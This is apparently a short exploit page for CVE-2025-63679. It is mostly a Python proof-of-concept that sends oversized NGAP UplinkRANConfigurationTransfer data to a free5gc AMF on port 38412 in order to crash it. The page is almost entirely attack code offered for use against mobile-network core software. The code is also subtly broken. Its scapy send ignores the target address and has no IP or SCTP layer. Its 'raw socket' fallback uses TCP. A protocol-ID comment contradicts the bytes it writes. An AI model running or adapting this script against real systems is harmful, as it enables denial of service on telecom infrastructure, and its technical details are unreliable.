CVE-2025-63679 free5gc AMF缓冲区溢出漏洞

''' CVE-2025-63679 PoC - free5gc AMF Buffer Overflow This PoC demonstrates the UplinkRANConfigurationTransfer NGAP message that triggers buffer overflow in free5gc AMF. ''' from scapy.all import * from scapy.contrib.ngap import * def create_malicious_ngap_message(): """ Create a malicious UplinkRANConfigurationTransfer NGAP message with oversized fields to trigger buffer overflow """ # Construct NGAP UplinkRANConfigurationTransfer message # with oversized RANConfiguration parameters ngap_packet = NGAP() / NGAP_UplinkRANConfigurationTransfer() # Add oversized RAN-Configuration-Container # This field exceeds expected buffer size oversized_container = b'\x00' * 10000 # Malicious oversized data ngap_packet.RANConfigurationContainer = oversized_container return ngap_packet def send_exploit(target_ip, target_port=38412): """ Send the malicious NGAP message to free5gc AMF """ print(f"[*] Sending malicious UplinkRANConfigurationTransfer to {target_ip}:{target_port}") malicious_packet = create_malicious_ngap_message() # Send the packet (requires raw socket privileges) send(malicious_packet, verbose=0) print("[+] Malicious packet sent successfully") print("[*] AMF process should crash upon receiving this packet") if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve_2025_63679_poc.py <target_ip>") sys.exit(1) target_ip = sys.argv[1] send_exploit(target_ip) # Alternative: Simple raw socket implementation def send_raw_exploit(target_ip): """ Alternative method using raw sockets """ import socket # NGAP protocol ID is 18 sctp_chunk = bytes([0x00, 0x0e]) # NGAP payload oversized_data = b'\x41' * 8192 # Trigger overflow packet = sctp_chunk + oversized_data sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, 38412)) sock.send(packet) sock.close() print("[+] Exploit sent via raw socket")